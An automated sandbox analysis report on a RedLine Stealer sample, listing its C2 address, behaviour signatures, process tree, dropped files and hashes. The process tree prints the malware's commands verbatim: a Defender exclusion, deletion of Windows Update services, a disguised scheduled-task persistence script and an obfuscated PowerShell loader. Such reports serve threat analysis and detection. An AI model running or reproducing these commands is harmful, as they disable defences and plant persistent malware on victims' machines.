Analysis

  • max time kernel
    34s
  • max time network
    82s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/11/2022, 12:26

General

  • Target
    3923f1a139494556ee41dde9b70acc67.exe
  • Size 295KB
  • Sample221124-pl66qadc53
  • SHA256 dc0d7e5dcd6f5cc175ab3d6173220fb483570c8b1b81cc2ab68c95407368240e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

C2
  • 37.220.87.2:27924

Attributes
  • auth_value

    c730762e00ec2290f332f51330ecd40b

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3923f1a139494556ee41dde9b70acc67.exe
    "C:\Users\Admin\AppData\Local\Temp\3923f1a139494556ee41dde9b70acc67.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4252
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:43992
      • C:\Users\Admin\AppData\Local\Google\brave.exe
        "C:\Users\Admin\AppData\Local\Google\brave.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:44604
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:44808
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:44928
          • C:\Windows\system32\sc.exe
            sc stop UsoSvc
            5⤵
            • Launches sc.exe
            PID:44028
          • C:\Windows\system32\sc.exe
            sc stop WaaSMedicSvc
            5⤵
            • Launches sc.exe
            PID:220
          • C:\Windows\system32\sc.exe
            sc stop wuauserv
            5⤵
            • Launches sc.exe
            PID:4256
          • C:\Windows\system32\sc.exe
            sc stop bits
            5⤵
            • Launches sc.exe
            PID:4104
          • C:\Windows\system32\sc.exe
            sc stop dosvc
            5⤵
            • Launches sc.exe
            PID:3320
          • C:\Windows\system32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
            5⤵
              PID:4888
            • C:\Windows\system32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
              5⤵
                PID:3128
              • C:\Windows\system32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                5⤵
                  PID:3532
                • C:\Windows\system32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                  5⤵
                    PID:3740
                  • C:\Windows\system32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                    5⤵
                      PID:3804
                  • C:\Windows\SYSTEM32\cmd.exe
                    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:44940
                    • C:\Windows\system32\powercfg.exe
                      powercfg /x -hibernate-timeout-ac 0
                      5⤵
                        PID:636
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -hibernate-timeout-dc 0
                        5⤵
                          PID:1360
                        • C:\Windows\system32\powercfg.exe
                          powercfg /x -standby-timeout-ac 0
                          5⤵
                            PID:1260
                          • C:\Windows\system32\powercfg.exe
                            powercfg /x -standby-timeout-dc 0
                            5⤵
                              PID:828
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:44964
                          • C:\Windows\system32\dialer.exe
                            C:\Windows\system32\dialer.exe
                            4⤵
                              PID:3980
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
                              4⤵
                                PID:3784
                                • C:\Windows\system32\schtasks.exe
                                  "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
                                  5⤵
                                    PID:1144
                              • C:\Users\Admin\AppData\Local\Google\ofg.exe
                                "C:\Users\Admin\AppData\Local\Google\ofg.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:44632
                                • C:\Windows\SysWOW64\SCHTASKS.exe
                                  SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
                                  4⤵
                                  • Creates scheduled task(s)
                                  PID:44664
                              • C:\Users\Admin\AppData\Local\Google\chrome.exe
                                "C:\Users\Admin\AppData\Local\Google\chrome.exe"
                                3⤵
                                • Executes dropped EXE
                                PID:44712
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 41168
                              2⤵
                              • Program crash
                              PID:44072
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4252 -ip 4252
                            1⤵
                              PID:44024
                            • C:\Program Files\Google\Chrome\updater.exe
                              "C:\Program Files\Google\Chrome\updater.exe"
                              1⤵
                                PID:908
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
                                1⤵
                                  PID:2372
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                                  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
                                  1⤵
                                    PID:4708
                                  • C:\Windows\System32\dllhost.exe
                                    C:\Windows\System32\dllhost.exe /Processid:{8db37b01-3c62-4d4e-b8c9-98aed1322e54}
                                    1⤵
                                      PID:3712

                                    Network

                                          MITRE ATT&CK Enterprise v6

                                          Replay Monitor

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                                          Downloads

                                          updater.exe

                                          • Path C:\Program Files\Google\Chrome\updater.exe
                                          • Size 2.8MB
                                          • SHA256 9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
                                          • MD5 SHA1 SHA512 SSDEEP

                                          brave.exe

                                          • Path C:\Users\Admin\AppData\Local\Google\brave.exe
                                          • Size 2.8MB
                                          • SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
                                          • MD5 SHA1 SHA512 SSDEEP

                                          brave.exe

                                          • Path C:\Users\Admin\AppData\Local\Google\brave.exe
                                          • Size 2.8MB
                                          • SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
                                          • MD5 SHA1 SHA512 SSDEEP

                                          chrome.exe

                                          • Path C:\Users\Admin\AppData\Local\Google\chrome.exe
                                          • Size 6.1MB
                                          • SHA256 66552cbe03b205cba08a2524fb93303dec5edf51188758b08d12624db1ee73e1
                                          • MD5 SHA1 SHA512 SSDEEP

                                          chrome.exe

                                          • Path C:\Users\Admin\AppData\Local\Google\chrome.exe
                                          • Size 6.1MB
                                          • SHA256 66552cbe03b205cba08a2524fb93303dec5edf51188758b08d12624db1ee73e1
                                          • MD5 SHA1 SHA512 SSDEEP

                                          ofg.exe

                                          • Path C:\Users\Admin\AppData\Local\Google\ofg.exe
                                          • Size 86KB
                                          • SHA256 95903d8c2d48c4c0667e41878807f646f7648a33ed25d0eb433aab41c25e31a4
                                          • MD5 SHA1 SHA512 SSDEEP

                                          ofg.exe

                                          • Path C:\Users\Admin\AppData\Local\Google\ofg.exe
                                          • Size 86KB
                                          • SHA256 95903d8c2d48c4c0667e41878807f646f7648a33ed25d0eb433aab41c25e31a4
                                          • MD5 SHA1 SHA512 SSDEEP

                                          powershell.exe.log

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                          • Size 2KB
                                          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                          • MD5 SHA1 SHA512

                                          StartupProfileData-NonInteractive

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                          • Size 944B
                                          • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
                                          • MD5 SHA1 SHA512

                                          StartupProfileData-NonInteractive

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                          • Size 1KB
                                          • SHA256 d85d6b3c447df4df9fd648ef9bb2f686fac2ac2860a87b1ab63fd1ca7e5e7dc9
                                          • MD5 SHA1 SHA512

                                          memory/2372-204-0x00007FF917850000-0x00007FF917A45000-memory.dmp

                                          memory/2372-195-0x00007FF917440000-0x00007FF9174FE000-memory.dmp

                                          memory/2372-194-0x00007FF917850000-0x00007FF917A45000-memory.dmp

                                          memory/2372-191-0x00007FF8F86B0000-0x00007FF8F9171000-memory.dmp

                                          memory/2372-205-0x00007FF917440000-0x00007FF9174FE000-memory.dmp

                                          memory/2372-203-0x00007FF8F86B0000-0x00007FF8F9171000-memory.dmp

                                          memory/3712-207-0x00007FF917850000-0x00007FF917A45000-memory.dmp

                                          memory/3712-202-0x00007FF917440000-0x00007FF9174FE000-memory.dmp

                                          memory/3712-201-0x00007FF917850000-0x00007FF917A45000-memory.dmp

                                          memory/3712-199-0x0000000140000000-0x0000000140042000-memory.dmp

                                          memory/3712-206-0x0000000140000000-0x0000000140042000-memory.dmp

                                          memory/3712-198-0x0000000140000000-0x0000000140042000-memory.dmp

                                          memory/3712-196-0x0000000140000000-0x0000000140042000-memory.dmp

                                          memory/3784-188-0x00007FF8F86B0000-0x00007FF8F9171000-memory.dmp

                                          memory/4708-189-0x0000000003C70000-0x0000000003CA6000-memory.dmp

                                          memory/4708-200-0x0000000005250000-0x000000000526E000-memory.dmp

                                          memory/4708-193-0x0000000004990000-0x00000000049F6000-memory.dmp

                                          memory/4708-192-0x0000000004280000-0x00000000042A2000-memory.dmp

                                          memory/4708-190-0x0000000004360000-0x0000000004988000-memory.dmp

                                          memory/43992-140-0x0000000005710000-0x0000000005722000-memory.dmp

                                          memory/43992-142-0x0000000005AB0000-0x0000000005B42000-memory.dmp

                                          memory/43992-143-0x0000000006830000-0x0000000006DD4000-memory.dmp

                                          memory/43992-146-0x0000000007C20000-0x0000000007C70000-memory.dmp

                                          memory/43992-144-0x0000000006280000-0x00000000062E6000-memory.dmp

                                          memory/43992-145-0x0000000007BA0000-0x0000000007C16000-memory.dmp

                                          memory/43992-141-0x0000000005770000-0x00000000057AC000-memory.dmp

                                          memory/43992-139-0x00000000057E0000-0x00000000058EA000-memory.dmp

                                          memory/43992-138-0x0000000005C60000-0x0000000006278000-memory.dmp

                                          memory/43992-133-0x0000000000400000-0x0000000000428000-memory.dmp

                                          memory/43992-147-0x0000000007E40000-0x0000000008002000-memory.dmp

                                          memory/43992-148-0x0000000008540000-0x0000000008A6C000-memory.dmp

                                          memory/44808-159-0x00000265C1B70000-0x00000265C1B92000-memory.dmp

                                          memory/44808-162-0x00007FF8F8590000-0x00007FF8F9051000-memory.dmp

                                          memory/44964-181-0x00007FF8F8590000-0x00007FF8F9051000-memory.dmp

                                          memory/44964-180-0x00007FF8F8590000-0x00007FF8F9051000-memory.dmp